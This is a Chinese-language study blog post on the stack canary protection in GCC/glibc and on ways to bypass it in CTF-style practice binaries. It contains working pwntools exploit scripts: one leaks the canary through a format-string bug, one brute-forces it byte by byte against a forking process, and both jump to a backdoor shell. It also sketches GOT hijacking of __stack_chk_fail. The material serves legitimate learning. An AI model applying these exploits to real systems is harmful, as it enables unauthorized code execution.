canary保护机制以及解决方法

canary保护机制以及解决方法

学习参考:https://blog.csdn.net/weixin_43713800/article/details/105273284

介绍

该词的来源

Canary原意为“金丝雀”,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

安全方面的运用

由上文我们就可以大概才出来,它可以对某种有害操作进行预警,从而终止程序的运行。具体来说,Canary这种保护机制主要针对的是栈溢出漏洞。

原理

简介

当启用Canary保护后,它会在栈底之前(不一定紧挨着栈底)插入一个Canary值,一般是是一个随机生成的数字,32位是4字节,64位是8字节。在栈内存中,函数调用时会创建栈帧。栈帧包含了局部变量,返回地址等信息,同时包括Canary值,它被放在栈帧中靠近返回地址和局部变量的位置。在程序正常运行时,Canary值不会改变,但如果发生栈溢出,Canary值可能会改变,程序在关键操作(如函数返回)之前会检查Canary值是否被修改,一旦发现被修改,就会采取安全措施,如终止程序。

在GCC中使用Canary

1
2
3
4
5
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

这些内容过于专业,以我现在的水平看不太懂,先写上,留给以后看

Canary保护栈的原理

1
2
3
4
5
6
7
8
9
10
11
12
高地址        			  |					  |
+-------------------+
|参数 |
+-------------------+
|返回地址 |
+-------------------+
rbp--> |旧的rbp |
+-------------------+
rbp-8--> |Canary 值 |
+-------------------+
|局部变量 |
低地址 +-------------------+

当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x4 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:

1
2
mov    rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
1
2
3
4
5
这是对两个陌生名词的解释:

函数序言:是指是函数在被调用时,首先执行的一段指令序列。它主要用于函数调用的初始化工作,是编译器在生成目标代码时插入到函数开头的部分。主要任务有保存寄存器状态,分配栈空间,设置栈帧指针

fs寄存器:是x86架构下的一个段寄存器,S 寄存器常与通用寄存器如 EAXEBX 等配合使用,来实现对特定内存位置的数据访问和操作。

在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。

1
2
3
4
mov    rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>

如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定。定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

但是这也意味着可以通过劫持__stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容

进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。

1
2
3
4
5
6
7
8
9
10
11
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;

如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
事实上,TLS 中的值由函数 security_init 进行初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数

//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);

_dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

绕过Canary保护

学习参考:https://blog.csdn.net/weixin_43713800/article/details/105273284

https://www.yuque.com/cyberangel/rg9gdm/kukf7u


Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用

泄露栈中的Canary

Canary值设计以\x00结尾(在最低位),本意是为了保证Canary可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

我们接下来用一个实例来演示

先来查一下保护,32位,开启了NX和Canary保护

1
2
3
4
5
6
7
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

运行一下

1
2
3
❯ ./binary_200
44
44

我们注意一下main函数的开头和结尾的汇编

1
2
3
4
5
6
7
8
9
10
11
12
+---------------------开头的一部分------------------------+
.text:08048561 push ebp
.text:08048562 mov ebp, esp
.text:08048564 and esp, 0FFFFFFF0h
.text:08048567 sub esp, 40h
.text:0804856A mov eax, large gs:14h <--
.text:08048570 mov [esp+3Ch], eax
+--------------------结尾的一部分-------------------------+
.text:080485E9 mov edx, [esp+3Ch]
.text:080485ED xor edx, large gs:14h <--
.text:080485F4 jz short locret_80485FB
.text:080485F6 call ___stack_chk_fail

这些汇编命令的出现也印证开启了Canary保护(真是一句废话),gs和fs都是x86的段寄存器,都可以这样用

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[40]; // [esp+14h] [ebp-2Ch] BYREF
unsigned int v5; // [esp+3Ch] [ebp-4h]

v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
gets(s);
printf(s); <--
gets(s); <--
return 0;
}

我们发现了格式化字符串漏洞,这意味着我们可以泄露栈上的数据,不光有这个,还有危险函数gets

同时,我们也发现了完整的后门函数system('/bin/sh')

这样我们就有了一个大概的思路:

1
待补充

首先,我我们需要找出Canary相对于格式化字符串的偏移,并打印出Canary的值

这是用gdb动调找Canay值的方法

1
2
3
4
5
6
7
8
9
───────────────────────────[ STACK ]─────────────────────────────────
00:0000esp 0xffffd11c —▸ 0x80485d8 (main+119) ◂— lea eax, [esp + 0x14]
01:0004│-048 0xffffd120 —▸ 0xffffd134 ◂— 'aaaa'
02:0008│-044 0xffffd124 ◂— 0
03:000c│-040 0xffffd128 ◂— 1
04:0010│-03c 0xffffd12c ◂— 0
05:0014│-038 0xffffd130 —▸ 0xf7fbe4a0 —▸ 0xf7d77000 ◂— 0x464c457f
06:0018eax 0xffffd134 ◂— 'aaaa'
07:001c│-030 0xffffd138 —▸ 0xf7d8f400 ◂— 0x74656700

使用x/20wx 0xffffd120命令打印内存中的值

1
2
3
4
5
6
pwndbg> x/20wx 0xffffd120
0xffffd120: 0xffffd134 0x00000000 0x00000001 0x00000000
0xffffd130: 0xf7fbe4a0 0x61616161 0xf7d8f400 0xf7fbe4a0
0xffffd140: 0xffffd180 0xf7fbe66c 0xf7fbeb10 0x00000001
0xffffd150: 0x00000001 0x00000000 0xf7fa1000 0x2b539700
0xffffd160: 0xffffd3eb 0x00000070 0xf7ffd020 0xf7d98519

其中0xffffd134是个储存格式化字符串内存的地址,从这个之后开始数,发现0x61616161是第五个,所以我们确定格式化字符串的偏移量为5

然后我们在xor处下断点,因为启用Canary保护之后,汇编代码中一个函数的开头和结尾都会出现xor即异或操作,所以在这里下断点。因为xor是汇编命令,不是函数,所以我们需要知道它的地址,在gdb中,先使用finish步出printf函数(下断点后运行,中断时一般自动步入该函数),再使用disassemble命令显示反汇编,查看其地址。或者使用finish步出后,看看反汇编窗口有没有xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  0x80485d8 <main+119>    lea    eax, [esp + 0x14]        EAX => 0xffffd134 ◂— 'aaaa'
0x80485dc <main+123> mov dword ptr [esp], eax [0xffffd120] <= 0xffffd134 ◂— 'aaaa'
0x80485df <main+126> call gets@plt <gets@plt>

0x80485e4 <main+131> mov eax, 0 EAX => 0
0x80485e9 <main+136> mov edx, dword ptr [esp + 0x3c]
► 0x80485ed <main+140> xor edx, dword ptr gs:[0x14] EDX => 0x2b539700 ^ 0x2b539700
0x80485f4 <main+147> je main+154 <main+154>

0x80485f6 <main+149> call __stack_chk_fail@plt <__stack_chk_fail@plt>

0x80485fb <main+154> leave
0x80485fc <main+155> ret

0x80485fd nop

我们可以看到,Canary的值储存在了edx寄存器中,因为再函数开头的Canary保护相应汇编指令中

1
2
.text:0804856A                 mov     eax, large gs:14h   <--
.text:08048570 mov [esp+3Ch], eax <--

我们得知[esp+3Ch]是存放Canary的随即参数

我们查看寄存器的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
eax            0x0                 0
ecx 0xf7fa29c0 -134600256
edx 0x2b539700 726898432
ebx 0xf7fa1000 -134606848
esp 0xffffd120 0xffffd120
ebp 0xffffd168 0xffffd168
esi 0xffffd224 -11740
edi 0xf7ffcb80 -134231168
eip 0x80485ed 0x80485ed <main+140>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99

然后再结合上面打印出来的内存

1
2
3
4
5
6
pwndbg> x/20wx 0xffffd120
0xffffd120: 0xffffd134 0x00000000 0x00000001 0x00000000
0xffffd130: 0xf7fbe4a0 0x61616161 0xf7d8f400 0xf7fbe4a0
0xffffd140: 0xffffd180 0xf7fbe66c 0xf7fbeb10 0x00000001
0xffffd150: 0x00000001 0x00000000 0xf7fa1000 0x2b539700 <--
0xffffd160: 0xffffd3eb 0x00000070 0xf7ffd020 0xf7d98519

我们可以得知,Canary的偏移为15,所以我们只需要再第一次get时发送%15$x就会泄露出Canary的值

然后我们开始确定第一次的gets到Canary的偏移,同时,我们知道v5是用来储存Canary值的(为什么,看伪代码注释),打开IDA,查看栈

1
2
3
4
5
6
7
8
9
10
11
12
13
-0000000000000040 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000040 // Frame size: 40; Saved regs: 4; Purge: 0
-0000000000000040
……
-000000000000002C char s; <--
……
-0000000000000004 _DWORD var_4; <--
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008 int argc;
+000000000000000C const char **argv;
+0000000000000010 const char **envp;
+0000000000000014

二者距离EBP的距离相减即为数组s到Canary的距离,为40字节

然后确定Canary到EBP的偏移,用上面在xor下断点后的gdb调试页面

1
2
3
4
5
6
7
8
9
*EAX  0
EBX 0xf7fa1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*ECX 0xf7fa29c0 (_IO_stdfile_0_lock) ◂— 0
*EDX 0x2b539700
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0
ESI 0xffffd224 —▸ 0xffffd3eb ◂— '/home/xyq/test/binary_200'
EBP 0xffffd168 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
ESP 0xffffd120 —▸ 0xffffd134 ◂— 0x61616100
*EIP 0x80485ed (main+140) ◂— xor edx, dword ptr gs:[0x14]

这里已经有了ESP,EBP的地址,我们就可以算出v5 = ESP + 0x3C = 0xffffD15C,v5距离EBP的偏移量为EBP-v5为12字节

接下来,我们就可以构建EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

# 启动要调试的二进制文件对应的进程
p = process('./binary_200')

# 定义system函数的地址,这里需根据实际情况调整地址是否正确
system_addr = 0x0804854d

# 发送格式化字符串,尝试获取信息(比如可能是获取canary值相关的操作)
p.sendline('%15$x')

# 接收数据并转换为十六进制整数,注意要先将字节数据解码为字符串再转换
Canary = int(p.recv().decode('utf-8'), 16)
print(hex(Canary))

# 构造payload,这里先构造填充的 'A' 字符串以及按格式拼接其他部分
payload = b'A' * 40 + p32(Canary) + b'A' * 12 + p32(system_addr)
print(hex(len(payload)))
print(payload)

# 发送构造好的payload
p.sendline(payload)

# 进入交互模式
p.interactive()

以下方法为进阶方法,学习参考:https://blog.csdn.net/weixin_43713800/article/details/105273284

one-by-one爆破Canary

学习参考:https://www.yuque.com/cyberangel/rg9gdm/cx5zci#

32位的Canary值一般放在edp - 0xc,这个不紧邻栈底,64位一般在rbp-0x8,与栈底相邻。不同编译器情况可能不同

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))

if res != "":
p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break

if i == 255:
print "[-] Exploit failed"
sys.exit(-1)


canary = p[stop:start-1:-1].encode("hex")
print " [+] SSP value is 0x%s" % canary

关于为什么可以一字节一字节地爆破,网上地说法是,除最低字节外,从次低字节开始,往上爆破,只要正确,就不会报错。

实例

查一下保护,32位程序,开启了NX保护,Canary保护

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__pid_t v3; // [esp+Ch] [ebp-Ch]

init();
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0);
}
else
{
puts("welcome");
fun();
puts("recv sucess");
}
}
puts("fork error");
exit(0);
}

我们解释一下这段代码

  • **v3 = fork();**在每次循环中都会调用 fork 系统调用创建一个新的进程,和前面介绍的一样,fork 会创建出子进程,并且在父进程和子进程中分别返回不同的值(父进程返回子进程 ID,子进程返回 0),然后将返回值赋给 v3 变量。
  • **if (v3 < 0)**如果 v3 的值小于 0,说明 fork 系统调用失败了(可能由于系统资源不足等原因无法创建新进程),此时执行 break 语句跳出 while 循环。
  • **if (v3)**如果 v3 的值不为 0(也就是在父进程中,因为父进程中 fork 返回的是子进程的 ID,大于 0),会调用 wait(0) 函数。wait 函数用于让父进程阻塞等待,直到它的某个子进程结束运行,参数 0 表示等待任意子进程结束,并且获取子进程的退出状态等相关信息
  • v3 的值为 0 时,也就是在子进程中,会依次执行以下操作

在上面我们可以看到,mian函数中存在fork函数,这是我们爆破Canary的关键

我看来看fun函数

1
2
3
4
5
6
7
8
9
unsigned int fun()
{
_BYTE buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
read(0, buf, 0x78u);
return __readgsdword(0x14u) ^ v2;
}

我们发现read(0, &buf, 0x78u);通过对栈段进行查看,我们可以输入0x78的内容,但是buf的空间为:0x70-0xC=0x64,很明显可以发生栈溢出覆盖其他变量。其中v2就是保存Canary的变量。

所以我们的思路是一位一位的来爆破Canary,详细点来说使用栈溢出填充垃圾字符直到Canary,然后再尝试填充我们的Canary。若Canary正确,则进行下一位的爆破;若Canary错误,程序会执行fork重新运行。

下面是爆破Canary的通用模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# coding=utf8
from pwn import *

# 设置日志级别为debug,方便查看详细交互信息
context.log_level = 'debug'
# 设置目标二进制架构为i386,操作系统为linux
context(arch='i386', os='linux')
# 配置终端相关参数,用于后续可能的调试操作(例如结合gdb等)
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

# 判断是本地运行还是远程运行,默认为本地运行模式
local = 1

# 加载目标二进制文件
elf = ELF('./bin1')

if local:
# 本地运行,启动本地的目标二进制程序进程
p = process('./bin1')
#libc = elf.libc
else:
p = remote('',)
libc = ELF('./')

# 接收数据直到出现'welcome\n',确保程序准备好接收后续输入
p.recvuntil(b'welcome\n')
# 初始化Canary值为空字节串
canary = b'\x00'
for k in range(3):
for i in range(256):
print("正在爆破Canary的第{}位".format(k + 1))
print("当前的字符为{}".format(chr(i)))
payload = b'a' * 100 + canary + bytes([i])
print("当前payload为:", payload)
# 发送payload给目标程序(进程或者远程服务器)
p.send(payload)
# 接收目标程序返回的数据,直到出现'welcome\n'
data = p.recvuntil(b'welcome\n')
print(data)
if b"sucess" in data:
canary += bytes([i])
print("Canary is: ", canary)
break

其中:

context.terminal = ['gnome-terminal', '-x', 'bash', '-c']:配置在调试等情况下要启动的终端相关参数,这里指定了如果需要启动终端时使用 gnome-terminal,并传递一些参数来执行命令(-x 表示后面跟着要执行的命令,这里是 bash -c,即启动一个 bash 子进程并执行后续的命令),通常是为了方便在利用过程中使用 gdb 等调试工具能在合适的终端环境下启动。

以下是本题的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# coding=utf8
from pwn import *

# 设置日志级别为debug,方便查看详细交互信息
context.log_level = 'debug'
# 设置目标二进制架构为i386,操作系统为linux
context(arch='i386', os='linux')
# 配置终端相关参数,用于后续可能的调试操作(例如结合gdb等)
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

# 判断是本地运行还是远程运行,默认为本地运行模式
local = 1

# 加载目标二进制文件
elf = ELF('./bin1')

if local:
# 本地运行,启动本地的目标二进制程序进程
p = process('./bin1')
#libc = elf.libc
else:
p = remote('',)
libc = ELF('./')

# 接收数据直到出现'welcome\n',确保程序准备好接收后续输入
p.recvuntil(b'welcome\n')
# 初始化Canary值为空字节串
canary = b'\x00'
for k in range(3):
for i in range(256):
print("正在爆破Canary的第{}位".format(k + 1))
print("当前的字符为{}".format(chr(i)))
payload = b'a' * 100 + canary + bytes([i])
print("当前payload为:", payload)
# 发送payload给目标程序(进程或者远程服务器)
p.send(payload)
# 接收目标程序返回的数据,直到出现'welcome\n'
data = p.recvuntil(b'welcome\n')
print(data)
if b"sucess" in data:
canary += bytes([i])
print("Canary is: ", canary)
break
addr = 0x0804863B #后门函数地址
payload = 'A' * 100 + canary + 'A' * 12 + p32(addr)

p.send(payload)
p.interactive()

劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数,__stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。

参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再进行 ROP 利用


canary保护机制以及解决方法
http://example.com/2025/02/25/canary保护机制以及解决方法/
作者
玄渊
发布于
2025年2月25日
许可协议